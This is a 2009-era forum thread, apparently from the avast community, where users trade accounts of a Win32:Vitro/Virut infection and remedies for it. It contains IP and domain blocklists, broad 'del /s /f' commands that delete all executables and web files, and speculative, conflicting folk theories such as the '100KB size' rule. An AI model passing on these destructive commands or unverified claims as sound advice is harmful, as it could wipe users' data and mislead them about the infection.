Actually I have been attacked on Windows Vista. My GData Virus Scan did not find anything checking the downloaded file (it scans every file i want to download first, and then it gets actually downloaded by my FF3 in an instant). I'm not sure whether the virus broke out before being checked by GData (as every scan requires a downloading), or if GData just didn't find it. Anyway the scan afterwards revealed ~130 infected .exe files, containing e.g. explorer.exe, taskmgr.exe and some other essential files. That's were I changed to Safe Mode (too late). I cannot open taskmanager (the tray icon appears but I can't actually open it), control panel is blocked. Even the cmd does not work as the commands seem to be infected as well.

CureIt did not find anything (I used it in the way Polonus described it on page 4 of this thread).

Boot discs don't work, because I have my system completely encrypted with Truecrypt. I did not dare to decrypt it yet. If you want me to I could do it as I am changing back to Ubuntu for sure (as i tested Viste just because it came with my laptop). So I'm quite happy I had my sensitive data on another encrypted external volume which wasn't connected during or after the infection. I would be happy to be able to rescue some pdfs, rars, docs and mpgs (pictures). Oh yeah and some videos (mpeg and avi). In two rar archives I have some mp3s (about 20 files). Burned all that on a DVD. How do you consider the chance that I can use them securely? How shall I proceed?

As I mentioned before I can give you more information as I have nothing important to lose. But you have to consider that I do not know much more than the basics for efficient use of OSs, not more. So if you want me to do something then give me instructions people not fighting everyday with tcpip protocols can understand.

Thanks :)

Hi Blalok,

That is strange that the virus got you on an OS that is known to be not vulnerable through special added File Protection etc. by Vista, but it might be the very encryption you used for protection that became your undoing.
Nothing left to repair there I think with more than a gross of infected executables, just follow the ffr method, that is  f-disk, format and re-install or if you switch over to another distro, a total recall of the machine at hand. Also make sure that you change all your passwords, log-in accounts etc, as this machine was severely compromised, and enjoy life after Windows, not much you can do, really now, thanks for your report,

Polonus,  Thanks for the tips and the interesting but over-my-head reading.

Will it be safe to move HTM files from the original machine's HD?
And is the act of copying and moving enough to trigger an infection to spread?
All I want to copy are .doc, .mp3, and .htm files.  The .htm files are negotiable.

Finally, I would like to know how I can tell if the USB drive is infected.  I've got stick it in SOMETHING to reformat it.
Any hints?

Hi

Got the virus from a client's pc while trasfering files to my server so i could format the Hdd and insert another 500Gig Hdd
Main thing was that when i transfered a program to my Laptop via Lan and ran it things went crazy.

Laptop was redone more than 7 times and ts gone why so many re-do's lol
(each time I used some of the backups on the server.)oops!

The last time i re did the laptop I saw in posts to not use ANY FILES FROM ANY BACKUP UNLESS SCANNED
So i scanned and tranfered via Memory stick.

NOW........ Last nite i copied some other files first scanning them with my FAV Antivirus (AVAST!) hehehe
copied to mem stick moved it to my laptop ..no problems.
Later I Scaaned an small folder with HTML files in and no virus, I moved them to my Laptop and opend the HTML file
WHAT A MISTAKE!!!!

The first thing Avast picked up was "Sign Of "Win32:Trojan-Gen{Other} has been found in *path*
I deleted it - then all went pear shaped ....

Sign of "Win32:Vitro has been found c:\windows\systemm32\NOTEPAD.EXE"

then accwiz.exe etc etc....... arrrrrrgghhhh
I wanted to fly down and strangle the clever idiot who wrote this thing.

My laptop (the one im using now) is infected
No files are being murderd at this stage because of the setting that allows or denies write acces to the files the system uses - so for now i am safe in that its not spreading.

I opend the code in the HTML fiel i opend and there it was an Iframe with code next to it - BASTARD
PLEASE DO NOT COPY HTML FILES FROM ANY BACKUP IT CONTAINS THE CODE TO IMPLEMENT THE VIRUS ON YOUR SYSTEM!

sigh.... so i guess i am re doing my machine ...AGAIN today -

HINT FOR ANY DEVELOPERS OUT THERE : I am realy thinking a "Virtual Machine" is my next option becuase the Dot Net 2008 and SQL 2008 takes hours to install
 ;D

PLEASE DO NOT COPY HTML FILES FROM ANY BACKUP IT CONTAINS THE CODE TO IMPLEMENT THE VIRUS ON YOUR SYSTEM!

Thanks for the info.
I also viewed the contents of the html file I backed-up (which I first thought were safe) and OMG You are right!! and all html files are infected!!!
I can see that the virus attached in htm file a link to a website which I think acts as its gateway so maybe disabling the internet connection helps.

Regarding EXE files. I'm not sure how it chooses which one to infect (selectively?)  I even tried executing an executable file several times then scanned it but it didn't infect it! Though I'm not sure if going offline/online will make the difference.

I have an important questions to those who know more:
1. Does copying the infected htm files alone triggers the virus? But what if i will NOT run it? I will just let those htm files sit in my Hardrive until Avast finds a cure. They wont trigger unless executed right?

2. So far I can see that vitro infects both EXE and HTML files(in which AVAST only detects the one in EXE). What other file types does it infect?

3. What other harm can it do aside from infection and OS instability? I mean my videos, pictures, and other none exe files don't have to worry right?

4. This is my biggest problem. My Hardisk is partitioned into two drives where the second one contains important data that I don't want to include in the full format. I feel that repartitioning the 1st drive alone won't help so im hopeless.  Maybe my only solution is back-up all important files regardless of the virus then wait for the cure.

thanks

Hi there just got through reading all of the posts in this thread! Wow! I have found one piece of information that may be some what helpful. After becoming infected with this worm, and not knowing what it was exactly, I found while in safe mode I could pop up the task manager with A+C+D and then I belive it was the logonui file that I could select to close and then I would get an error pop up window at which point I would click ok and it would give me access to my icons oin the desktop which allowed me to copy files to my XHD thankfully! But at one point I had a problem with the virus kicking out every 15-30seconds at which point I would have to do the process over again. After I set the files to copy to my XHD I left as it was going to take a while I am no longer able to use this method and now it closes my desktop after 5-10 seconds rather then the 15-30 that it did before.

Now to where I am, I have moved the hard drive to an unaffected pc and I have run drweb and avast now what should my next step be? I am currently running xp pro sp3. Thank you in advance for yourt replies.

Well I'm not going to be able to help with the follow up but a short mention for future problems. You can try to use a Linux live CD to do the backup. Essentially you have the Operating system boot from your CD and then go to the drvie and copy files from it to an external drive.

You can Use Ubuntu (requires at least 254MB of RAM and doesn't run on all computers)
http://www.ubuntu.com/getubuntu/download

or PupyLinux (runs very light on system resources ... ran on old Compaq Pressario from 1985-86 but still effective).
http://www.puppylinux.org/

Both sites provide manuals on how to work with their Operating Systems and I can help with how to save the files. Beyond that I can't be of much help. This is just a simple way of recovering files if windows is not working but it should not be your safety net. I leaned that the hard way (still working on a good back-up plan)

Hi,

one thing
DON'T RUN YOUR VIRUS SCAN, or you wont be able to restart your computer

Got the same problem
Was searching for a serial at www.thekeys.ws, downloaded something, and there comes virus alert...

I ran my virus scan, after a while i noticed that it was detecting all my programs, windows files and system32 files
Had to get everything out of virusscan Vault (AVG at that time)...

It's a bitch of a virus, popups of virusscan detections kept coming.
I DELETED MY VIRUS SCANNER and now everything seems to be chill...

Everything work (also the 'infected' programs), like wordpad was infected (AVG noticed), but it still runs properly.
Uhm, might start thinking this win32:Vitro thing is like

HIV for computers! It made me delete my own defense system.

This evening i'm gonna format my pc, reïnstall the whole system, hoping it's not in my word-documents and pictures.
Havent found any other solution yet. (and didnt want to read all the other replies.)

Thank you and gtz,

do you think mabye a system restore may work...im going to have alook later..either that or totaly wipe my hard drive.

Oh..just one Advice.

DO NOT GO TO SERIALS.WS  that is where i got it from....better yet do not dwonload any keygens..

Ok guys i had(!) the same problem.. (WINXP)
i cleaned up my HDD 5 times (!)

At first cleanup:
- Nothing malicious detected... 1hr later: (drivers etc. reinstalled) virus was up again..

Second format:
Same problem as before..

Third cleanup:
Same infect...
-> Booted up Backtrack and replaced winlogon.exe, lsass.exe
Tried to logon to windows -> fail (nothing happened *duh*)

-> Now windows setup shows that i've got a "new" partition on /hda  which has 594902490290MB free! lol
-> windows setup wasnt able to load again after that...
-> started backtrack again kicked of the old partition table (yeah!)
-> repair partitions & fix MBR
-> formated C:\


4. format:
-> installed Kaspersky
-> Kaspersky found some infected files & deleted them..
---> Kaspersky fucked up my system... average boot time ~5minutes (after that WINXP crashed)

5. started WC3 out of the box - 2 minutes later WINXP -> infected...
after that i decided letting avast delete every file which is infected..
-> starting avast; check for viruses before windows is up
-> windows was mostly damaged..

6. Format
-> Kicked C:\ off and used G:\ as Windows HDD
-> installed avast; cleaned up everything on my other hdds
---> so far its working and clean

Ok i think this virus is VERY hard, its a whore! please clean up the MBR, too.
Means:
insert windows disk
-> wait until its loaded completly
-> F3 (Repair) and type: help
   (if you logged in in the console etc.)
-> CMD is "fixmbr" (without " ")

if you have vitro.. dont try to repair .. delete everything!

Another advice: install MBAM!

Afaik this virus infects *.exe-files, which are smaller than a predefined size (thats what i think)! (Big *.exe files were not infected); & (in my case) is not infecting *.html files & it changed the hosts file (127.0.0.1 to *.pl)

Like you I too was fighting this.. You might want to read my threads about what I did and how I finally figured it out.   The first thing you must do though is try to find out where it is coming from.   Only then can you kill it as I learned.   Another big lesson I learned, when you reboot... don't just reboot.  pull the power plug to insure memory is clean on boot.   There are a number of things I did and learned so hopefully some of those things will help you too...      One of the most helpful things I learned is that it infects MORE THAN JUST .EXE files!!!  It also infects web pages of all kinds including those active on running webservers!

BTW, like you I formatted and installed and formatted and installed over and over and over...    It was not until I learned about the web pages that I was able to finally figure how to kill it by isolating where I was getting it from.

From reading various posts I worked on the assumption that it does or could infect EXE, SCR, HTM/HTML, MP3, WMA and AVI as well as dodgy Autorun.inf files. That seemed to work as just one formatting got rid of it for me. Although as a precaution I formatted my USB stick and SD card (the latter, according to Dr Web, was infected) and purchased new ones. I'm now running all the tools mentioned to avoid this happening again, although I think disabling Autorun would be beneficial and can't find a good method to do this.

Title: THE SIMPLIEST WAY TO CLEAN Win32:Vitro!
Post by: boybawang on April 09, 2009, 05:24:13 PM
Thank you DonNils for giving a hint about the size idea  ;)

I got rid of all the unnecessary steps in cleaning Vitro.

Power Unplugging, formatting, partitioning, removing of storage, Internet unplugging etc are all UNNECESSARY.  In fact, I reinstalled Windows without deleting my important data in my drive. Some of that data may still be infected but that doesn't matter here's what i did:

1. I fresh installed Windows the same the way I normally installed them when there is no virus. Just delete all hidden files. That also includes [recycler], [system volume information], [Autorun.inf] and [*.ini]
If you feel uneasy thinking that infected files still resides in the disk, just batch delete all EXE and HTM/HTML files. I use "Ultimate Boot CD" so it's just a matter of pressing the search button and delete the results.

2. After installation, I booted Windows. Don't worry the virus won't trigger unless you execute the infected file. You can view them, transfer, display properties, but don't run them! The same applies to HTML files.

Good news is that you can still safely run most of the executable installers left in the drive. Vitro only infects executables lesser than 100KB such as System files. Almost all setup files are above that so we are lucky.

Note to all who are fund of serial keygens and patches. Most of these files are below 100KB so be careful.
Again you can safely delete these small files by simply pressing the search button then specify the size to search then delete the results.

3. VERY IMPORTANT: I think this the part where everybody falters. That's why many falsely think that Vitro continues to survive after formatting or partitioning but i think it's not the case. It's due to the fact that NOT ALL INFECTED FILES ARE DETECTED by AVAST! In most cases many backed-up their installer exe files that survived from avast deletion. After fresh Windows Install, they even re-scanned them with AVAST a million times therefore strengthening their confidence that they're clean. So they double-click it! The file runs fine- no warnings-what a relief! Opps the installed program requires a password- No problem there's a keygen in the same directory and it's clean too! So they double-click that 96KB keygen and BANG! feel the punishment for downloading pirated softwares!  :)


Note that I'm very cautious with my trial and error experiment. I scanned the memory for each and every file size that I run and reinstalled the OS in each virus hit! Ouch!  So far the smallest file size that i safely run above 100KB is 111KB. and the largest infected file below 100KB is 96KB. So the 100KB i mentioned is just an assumption due to the small margin of possible discrepancy. But feel free to correct me if you discover something else.  I hope that helps. thank you.

how did you know that it your HTML files are not infected? by scanning with AVAST?
You should know that so far AVAST can't detect an infected HTML file!  You better try to open the file with notepad and you will see the malicious link in iFrame attached at the bottom.
The same applies to EXE files. Not all infected EXE files can be detected by avast so the size is our only hint.

Well, joking and talking seriously, Vitro is a very hard infection to get rid without formating, partitioning and starting all over again...
I'm not Joking!  I have no objection that Vitro is a very hard infection.  But note that it won't trigger unless you execute them! No matter how many of these infected files you copy to your working drive.  All you need to delete are the files that automatically execute at startup before you fresh install Windows--As in the steps I mentioned.  Also, many didn't expect that AVAST fails do detect some of infected EXE files! That's why many still use them... and if Vitro pops up they wonder where Vitro was hiding during partitioning where infact even formatting is not necessary.  You can even safely execute any file from the infected backup disk as long as it is above 100KB in size. Never execute a file below that size even if AVAST didn't report is as infected! Just one mistake and all your evil description about Vitro will come true!

Vitro is your worst enemy once it get started. But if you don't give it a chance to initiate then it wont even start in the first place. Others over-reacted thinking that it just pops out from nowhere. But it's due to the fact that it's easy to slip some simple preventive measures. I already wasted a lot of time and effort in trial and error before I came up with those directions.

Not much sense in doing that. This thing (because it's soo much more than a virus now) infects executable files.

Up until now I've never seen those types of files. I looked for a description and only found one for ".ffs" at:

http://en.wikipedia.org/wiki/Unix_File_System

The thing is that we can't safe these files in formats that windows doesn't recognize and then try to execute them. It would be like trying to run a ".exe" file on MAC OS X. It wont happen unless you use special applications. (see link)
http://www.pcuser.com.au/pcuser/hs2.nsf/lookup+1/83ADDE11BB01E5A1CA256C48000F4708

So even if the file is a non executable it would have to be opened by one that is so still not much choice since that would probably be opened.

I could be wrong... I'm not sure if the ".wgr" type of files run on windows.

The thing is that we can't safe these files in formats that windows doesn't recognize and then try to execute them. It would be like trying to run a ".exe" file on MAC OS X. It wont happen unless you use special applications. (see link)
http://www.pcuser.com.au/pcuser/hs2.nsf/lookup+1/83ADDE11BB01E5A1CA256C48000F4708

So even if the file is a non executable it would have to be opened by one that is so still not much choice since that would probably be opened.

I could be wrong... I'm not sure if the ".wgr" type of files run on windows.

Maybe the program could add the extintions so it works like with Microsoft Small Busness. O_o

all of you are kidding right ?
fighting it ?
if you see vitro and you have external Hard Drive
Bash external Hard Drive with a hammer then burn it in microwave
insert your OS disk (make sure its read-only like CD-DVD)
format your hard drives
install OS
go buy a new external Hard Drive

LMFAO!!!!  OK, I had to quote this and thank you for posting it.  In a matter of 10 seconds i went from wanting to put my fist thru my Pc, to laughing and starting with a clear and focused mind...

Hi guys i been reading this topic over the past few days looking for ways to remove this virus without formating but no luck. so insted i did format and i did get the virus again using old back ups lmao.

I removed my old backups but did manage to keep some ISO files which are same (no virus alert from avast).

With my old backups i had txt documents that had the virus in. .exe had them in.

A JPEG picture did not have it in.

I am wondering about MP3, when my pc got infected i had another HDD 400gig full of music and flims. i did turn off the pc and disconnect that drive when messing around. I managed to get rid of the virus i think. But i am unsure about my 400gig, i have run a few .avi and opened a few .txt files and no virus alert. before i go to be i will run a scan.

What file types are effected by this virus? and whar are not.

I read that only xp is effected by this virus? strange hey.

Last question i have a friend that has important movies and stuff on his pc, he has been affected with this virus but he has no way of backing up his stuff. is there any way on how to remove it without formating and losing everything?. If he does a virus scan and removes the virus it will eat away his system files so thats out of the question.

any help

Thank you so much.

Adam Evans.

BTW two virus programs that i know pick this up, AVG FREE and AVAST! HOME FREE.

cheers guys

1. Make a thorough bootscan with AVAST first before doing a backup. And allow it to delete all infected files. Don't worry your movies won't be deleted.

2. After it's done with the cleaning, your system will continue booting. DONT ALLOW IT TO CONTINUE BOOTING!! Turn-off your system immediately before it completes the boot-up process because Vitro still exists.

3.If you wanna backup in a clean environment without any worries about vitro infecting in the background, You download LINUX UBUNTU. Burn it, boot it, and do all the backup from there. It has a simple burning utility that should be enough for your purpose. But don't backup HTML/HTM files and EXE files especially exe files below 100KB in size because most Virus passes AVAST detection.  that's all.


Off topic: I just found the funniest Vitro removal guide in the following link!
skip immediately to the Vitro manual removal instruction part for the best humor ;D ;D ;D ;D

how did you know that it your HTML files are not infected? by scanning with AVAST?
You should know that so far AVAST can't detect an infected HTML file!  You better try to open the file with notepad and you will see the malicious link in iFrame attached at the bottom.
The same applies to EXE files. Not all infected EXE files can be detected by avast so the size is our only hint.

yes lol i checked them all (and notepad ++ has a nice function to search in all files in a given directory for text... Strg+F)
nothing like iframe was detected.. neither i opened it with a webbrowser; just viewed it!

For those of you who are new to this thread, a few tools to help. These should be run from safe mode if possible.

Removal tools:
http://www.avg.com/us.virus-removal.ndi-67762 (I found this not to be 100% effective, but its a good start)
http://www.scanforfree.com/09/win32-virut-gen-5-removal.html (I think this may be an old one. It cannot run on my system)

This script will remove the infection from web pages:
http://www.cedit.biz/scripts/14-virusmalware-repair/25-repair-ziefpl-iframe-injection.html

More generalized malware/virus scanner:
http://www.novirusthanks.org/progs/3/

Please note that Avast will detect the virus if it has infected an EXE file, but will not detect infected web pages. It is entirely possible for antivirus programs to get infected, then infect other files when you try to scan them.

This virus will infect system files such as explorer.exe, winlogon.exe, cmd.exe, taskmgr.exe and also system restore. It would be a very good idea to reformat your hard drive (dont just reinstall windows over top!)

I know it can be sad losing so much important stuff but it has to be done (I have just lost 4 Terabytes on my server PC :( )

The best defence is not to go to suspect web sites, keep your virus scanner up to date and use a decent firewall (not microsoft's).

Block these IP addresses:
61,235,117,80     (ntkmpla dot info)
221,5,74,38     (zief dot pl)
212,85,96,95     (jL dot chupa dot nl)

hmmmmmmmmm

yeh.... managed to skate by a few bugs that ive picked up in the past... but it bears repeating this one is kind of mean... hats off to the creator(s)

anyways, i was wondering... say you have a secondary HD that you keep with an OS etc etc just in case Vitro happens on the HD youre using at the time of infection/destruction

you wouldnt be able to boot from that os backup drive with the infected drive without the backup drive getting infected (tried it)

so im about to try this to see if i can at least get access to the stored data on the infected drive without infecting the backup drive, heres how:

while running on my back up OS drive, i picked up a bat file that renames *.exe to *.XXX and *.dll to *.ddd

so what i was thinking was:

delete only the windows folder on the infected drive, do a reinstall and start up the infected drive alone (unplugging the back up) with just the cmd prompt

if the new installation on the infected drive did work, when you get to the cmd, run the batch file(s), then do a reinstall windows just deleting the windows folder, to kill off any residual bugs that would be left over in the windows folder

think it would work? yeh it would render any programs useless, but it should leave all the data intact (music vids etc)

if the new installation on the infected drive didnt work, you could boot from the back up drive with the corrupted drive in secondary then copy all the non-exe data, ie music video etc... right? and not infect the back up OS drive

yeh i know the infected exe/dll will still be there and still need to be formatted later, but they should be inert right? hopefully allowing you to take the music/video/etc non program stuff

ehhhh i ono  ::)

might could try running the batch files from a modified boot disk too o-0


Title: Re: Malware name Win32:Vitro
Post by: lilbootz on April 15, 2009, 02:24:36 AM
 :-X :-X :-X

hmmmmmmmmmmmmmmmmm

this one time at virus camp... :o

umm so yah...

i got to the cmd prompt in safe mode using the fresh (over top install, not fully formatted, infected drive)

inserted my burned cd with my batch files and copied my batch files to my c drive

tried to run them... and they screwed up... poorly written bunch of errors

so rather than give up or look for new batch files to use.. or write my own cuz im lazy like that...

i did this:

in the cmd prompt: C:\explorer

explorer starts, at this point i dont care if the virus was running (didnt seem like it was anyways)

open my c drive and took every file except the windows install and put them in one folder

right clicked that folder (called it dex) , went to security, owned all the files (made sure to check the sub directories thing)

picked my nose for a while while the system sat there and applied the ownership attributes

came back a bit later and in cmd prompt typed this

C:\del /s /f C:\dex\*.exe

let that finish out

then typed in the cmd prompt

C:\del /s /f C:\dex\*.dll

then

C:\del /s /f C:\dex\*.js

then

C:\del /s /f C:\dex\*.htm

then

C:\del /s /f C:\dex\*.html

then

C:\del /s /f C:\dex\*.tmp

then

C:\del /s /f C:\*.exe

C:\del /s /f C:\*.dll

C:\del /s /f C:\*.htm

C:\del /s /f C:\*.html

C:\del /s /f C:\*.js

C:\del /s /f C:\*.tmp

C:\del /s /f C:\*.com

those last lines killed all the *.exe, html, htm, js, tmp, com, dll in the new windows install

restalled windows, reinstalled my net adaptor, downloaded avast, scheduled a boot time

the damned thing got to 90% before it found one vitro...

in the only place i forgot to look, in the system volume information, and now that i think about it... this crucial little thing for the del cmd

C:\del /s /f /a:h

the /a:h is the big one (i think?) cuz i may have overlooked the hidden files...   :-X

but.... im running on my fresh (over the top of the old install) installation running right now, with avast running in the background... no virus alerts so far...  :o :o :o

_____

just owned the system volume information

(please wait system is picking its nose)   :D

started cmd and ran this

C:\del /f /s C:\system~1\*.exe

then

C:\del /f /s C:\system~1\*.dll

then

C:\del /f /s /a:h system~1\*.exe

then

C:\del /f /s /a:h system~1\*.dll

so far so good...

ill prolly be back here crying about this damned virus in a few hours again...

but for the moment, i have a fresh OS, my AVS (avast) is running, and all of my old data, mp3, avi, etc etc etc (minus the dll, exe, etc etc etc)

afaik, and imho, there are no programs to rid yourself of win32.vitro. Avast! and Dr Web CureIt can detect but not fix. It is a MAJOR virus and completely fatal. Who knows how long it will take before AV programs are able to fix it? Best thing is to bite the bullet and do FFR. Back up your important files but then unplug that media until you're back up and running.

I had(?) it. I am on my second re-install of everthing.

The best thing to to do is...

1. unplug all your external drives/media.
2. unplug the AC (and battery if it's a laptop).
3. do an FFR (fdisk, format, re-install).
4. keep your external media unhooked until you know you're in the clear.

Sorry for the bad news. I hope this helps you.

3. do an FFR (fdisk, format, re-install).
Step three, with fdisk or any partition manager that could clean the partition (like http://www.ptdd.com/bootablecds.htm, http://www.ptdd.com/download.htm, http://www.ultimatebootcd.com/, or Super Fdisk Bootable CD 1.0: http://www.softpedia.com/get/System/Hard-Disk-Utils/Super-Fdisk-Bootable-CD.shtml).

Definitely don't plug external media (that maybe infected) back into your computer. After my first FFR, I plugged in a USB flash. I had USB Firewall running and it found four infected files (SVCHost.exe was one). By then it was too late. I think(?) I was re-infected because my LAN became inaccessible. Leaving nothing up to chance, I did FFR again.

Maybe setup an alternate computer to scan your drive(s) with Avast and Dr Web.

My Blackberry is/was infected as well (SVCHost.exe)! It must be on the micro SD card.

Tree questions:

1. I have heard that Vitro can infect Mp3 files, I have backup of some music and wonders if i should worry?

2. How long time will it take the virus to damage my system, i have had it 2 weeks now and it has affected only some minor files on one of my hard drives (got two). I want to wait a bit longer before i format my drive when i have better time, will it be safe?

3. I downloaded the file with virut on C, and transferred it to F (my other disc) where i tried to run it and the AVG responded. Afterward AVG reported that virut had infected a couple of minor files. A couple of days ago (after i changed to avast) said that a file was infected with Vitro, all the files has been on the F disc, is both discs infected?

Back story first
I was looking for a firmware update for my DVD rewriter and clicked on a link which was supposedly a system checker by mistake. Cant remember the name of it now. AVAST immediately warned me and advised a boot scan which i did and started to delete infected files which I know now was a mistake.

OK I had it bad with over 615 Vitros detected with the recommended Dr Web scanner in safe mode.
Avast is my regular anti virus (never let me down before).

Anyway I am clear of it now and it did not require a reinstall format and fdisk.

Method.
 Turn off System Restore on all drives
Download or get the DR Web scanner onto the infected PC and do a normal scan and tell it to cure . Then restart in safe mode and have DR Web do a thorough scan again telling it to cure (any it cant cure should be deleted. This can take a very long time but let it finish as it only takes 1 file for your system to reinfect and also DR Web does not find all the Vitro or Virut56 infections.

Do not allow to start normally as this insta infects you again. Restart in safe mode and do a full AVAST scan. Delete files that AVAST still finds and schedule a boot scan. Allow this scan to delete the infected files. It is possible you may lose some critical windows files in my case it was the delfolders.exe in win32 tools directory amongst others. Get these from another Non infected machine preferably burned to a CD then you can copy them safely.

I would recommend you download Malwarebytes and Spybot Search and destroy and run them updated.

Lastly change your firewall to anything other than the Windows one.

Good luck you are going to need it. If you are not sure of the above steps then don't try it as you will not clear this terrible virus.

There is also a Virut56 remover at Symantec but I am not sure if that works.

My method did for me without formatting but took much longer than a complete windows reinstall.
I have Nvidia Active Armour now.

heres what i did download spyware doctor have it do a full scan twice...(the first time i did a normal reboot and didnt work).... to be sure it detected all manifestations of this garbage.... then when it shows "congradulations you removed everything" (again).....yank out the power chord.... i did.... it worked only after i did this...and when i turned it back on no errors appeared at all from the hard shut down.     well ihad supposably 136 problems with like 300 infections all in the registry. but what was weird was that the paths to the problems like the different folders named didn't even show in the registry at the time they were there or afterwards, weird huh? well so far so good, i ran each kind of scan separately over my whole hard drive and came out clean. i havent did a whole full scan yet though, i havent had the time to watch it yet. will check back later to see how things go.....reformat fdisk  reinstall from scratch not me no way i couldnt i aint had a disk drive to copy to yet. working on that. by the way is there someway to get every instance of your computer to usb flash by chance? if under 16 gb of course not pics vids and such just everything (not in) my documents. thanks to the person who said about spyware doctor.

Oh, another thing..

make sure that you scan any usb sticks or removable hard drives..

then if this doesn't work. format your external devices then format both of your Hard drives..

re-install your OS then restart your computer in Safe mode.
and run an anit-virus and anti-spyware to remove any other traces.

this has worked for me, and i now have total control over my computer again

Good Luck.

Heres EXACTLY how I got rid of it:

1. As soon as I realized I had it - I disconnected my PC from the internet
2. Immediately DISABLED System Restore
2. Immediately ran a BOOT TIME scan (not a regular scan in windows) - very important
3. Burnt a CD (because i wanted to make sure read only) with: A-Squared Antimalware, MalwareBytes and DR. Web CureIT.
4. Vitro generally infects your .exe's so bad they can't be repaired - I lost several Windows files and some other programs but unlike what I've heard from others - it didn't touch my word docs, powerpoint presentations, etc.   During the boot time scan I let avast just delete the infected files
5.  When the system came back up I ran Dr. WebCure it first
6. Then I ran A-Squared
7. Then I ran malware bytes
8. Then I ran another boot time scan (clean)
9. Ran A-squared again (clean)
10. Ran malware bytes again (clean)
11. Ran DR. Web CureIT again (clean)
12. At this point windows was limping along.  cmd.exe got infected, notepad.exe got infected and other windows files (although Windows did boot).
13.  And this is what made it so successful.  I did a NON destructive, NO-Reformat repair on my Windows installation. Using my Windows XP cd and the instructions from InformationWeek I had my system back up in PERFECT running order again.  See the link here: http://www.informationweek.com/news/windows/showArticle.jhtml?articleID=189400897

That article on InformationWeek really saved me.  I had to reinstall some programs (Omnipage, CS3) but it was much better than DBAN.

I hope this helps someone else that gets infected by this nasty little bugger.

4. Vitro generally infects your .exe's so bad they can't be repaired - I lost several Windows files and some other programs but unlike what I've heard from others - it didn't touch my word docs, powerpoint presentations, etc.   During the boot time scan I let avast just delete the infected files
5.  When the system came back up I ran Dr. WebCure it first
6. Then I ran A-Squared
7. Then I ran malware bytes
8. Then I ran another boot time scan (clean)
9. Ran A-squared again (clean)
10. Ran malware bytes again (clean)
11. Ran DR. Web CureIT again (clean)
12. At this point windows was limping along.  cmd.exe got infected, notepad.exe got infected and other windows files (although Windows did boot).
13.  And this is what made it so successful.  I did a NON destructive, NO-Reformat repair on my Windows installation. Using my Windows XP cd and the instructions from InformationWeek I had my system back up in PERFECT running order again.  See the link here: http://www.informationweek.com/news/windows/showArticle.jhtml?articleID=189400897

That article on InformationWeek really saved me.  I had to reinstall some programs (Omnipage, CS3) but it was much better than DBAN.

I hope this helps someone else that gets infected by this nasty little bugger.

all your steps are Ok and good, but, as the test that I've done in my laptop for "Virut", I found that AVIRA has covered all generation of Virut, so I offer you to download Avira Rescue System (http://www.free-av.com/en/tools/12/avira_antivir_rescue_system.html), this is an AntiVirus bootable disc with latest virus definition from Avira, Download it from Here (http://dl1.pro.antivir.de/package/rescue_system/common/en/rescue_system-common-en.exe), run it, burn it to a blank disc, boot your computer using this disc, let it do a full scan and remove everything that found. I'm sure it would remove anything that currently be in your computer. well, until that time alwil cover all generation of Virut, it's best solution to get rid of Virut after very infection, so, after infection,
do these:
1. disconnect from internet
2. download and burn Avira Rescue System (http://www.free-av.com/en/tools/12/avira_antivir_rescue_system.html) using a clean computer and burn it to a disc
3. boot your computer using this disc and do a full scan, let it remove everything
4. back to windows, let avast! do a boot time scan using avast!
5. do full scan using MBAM (http://www.malwarebytes.org/mbam.php), SAS (http://www.superantispyware.com/), SpyBot S&D (http://www.spybot.info/) to prevent any download trojan to download virut for you again.
5. make sure your hosts is immunized
6. re-install corrupted programs.
7. fix your registry, it must be corrupted after steps above. ( I offer Auslogics Registry Cleaner (http://www.auslogics.com/en/software/registry-cleaner/download) and then Auslogics Registry Defrag (http://www.auslogics.com/en/software/registry-defrag/download))

your HijackThis logfile is clean and Ok :)

just I highly recommended you to update your windows to sevice pack 3, (download it from here (http://www.microsoft.com/downloads/details.aspx?FamilyId=5B33B5A8-5E76-401F-BE08-1E1555D4F3D4&displaylang=en))
and update your Internet Explorer to version 8 (download it from here (http://www.microsoft.com/windows/internet-explorer/worldwide-sites.aspx))

Also, you can let Microsoft Update (http://update.microsoft.com/microsoftupdate/) to install Service Pack 3 and other windows and Microsoft products updates for you
Title: Re: Malware name Win32:Vitro
Post by: DavidR on April 29, 2009, 04:36:28 PM
@ shakanovirgo

First as mentioned, XP SP2 is way out of date with SP3 having been out for around 9 months. This would also allow IE6 SP2 to be upgraded to IE6 SP3 and there may be other updates that rely on your having SP3 installed, so it is an important update.

Second your JAVA is ancient too.
Ensure you have the latest version of JRE (JAVA Runtime Environment) because older versions can be vulnerable to malware. First remove All Older Versions From Add/Remove Programs.

Then get the latest update from here http://java.sun.com/javase/downloads/index.jsp (http://java.sun.com/javase/downloads/index.jsp)

Or JRE version 6 update 13 http://www.majorgeeks.com/Sun_Java_Runtime_Environment_d4648.html (http://www.majorgeeks.com/Sun_Java_Runtime_Environment_d4648.html)

With your history (excuse the pun) of out of date applications you need to visit this site to ensure that you haven't any other historic versions of software.
This site, which scans your system for out of date programs that have patches to close vulnerabilities, http://secunia.com/software_inspector/ (http://secunia.com/software_inspector/).

EDIT: other thing, i use Firefox, and i think taht it's up to date, because there's no "pop-up" actualization window
Title: Re: Malware name Win32:Vitro
Post by: DavidR on April 29, 2009, 10:59:24 PM
The latest version of firefox is 3.0.10, so if you haven't got that do a manual update.

Hello Guys,
I have been following this topic for the past one month as I my laptop is gravely injured by Win32:Vitro virus.
As you guys all mentioned,avast only detects the virus and the rest are useless in this issue.

Like you guys I too installed windows again and again but to my dismay the virus kept on coming..I was literally shocked to see the happenings..

I also noted that many of you are taking your backup and then have insatlled your windows.Now again you are copying your backup and the virus attacks your system after some sort of time..

I too was doing the same thing until yet yesterday I figured out what is the problem..

Guys the problem was the virus sits in our backup (mainly in .exe's and .html's) and so when we copy that again it attacks..
I took the backup of all my installation files and then formatted the entire system and then copied it again..
So when i started to install it again avast began to sound..

Now what I did was i didnt take any installation backups and downloaded everything from internet freshly..Now even after installing it I ran the boot scan for some 3 or 4 times and avast even didnt detect a single virus..

So my advice for u guys don take the backup and format your entire system.. Now install windows and the fresh set installation files and you won get the virus again!!!

Cheers,
SHARAN

Hi shakanovirgo -

While you are aware of a few things already from the posts above, some will be listed again.

An analysis of your HJT log shows the following problems :

Platform: Windows XP SP2 (WinNT 5.01.2600)
A newer version of service pack is available. Service packs increase the safety of your system. Visit Microsoft's windowsupdate site to download the newest version of the service pack.

We didn't detect any active process of a firewall on your system. Reasons maybe:
(1.) You are using the windows firewall or a hardware firewall.
(2.) You are using a firewall of an unknown vendor.
(3.) You are using a firewall, but for unknown reasons it is disabled
(4.) You don't use any firewall at all.
We recommend you to use a firewall.

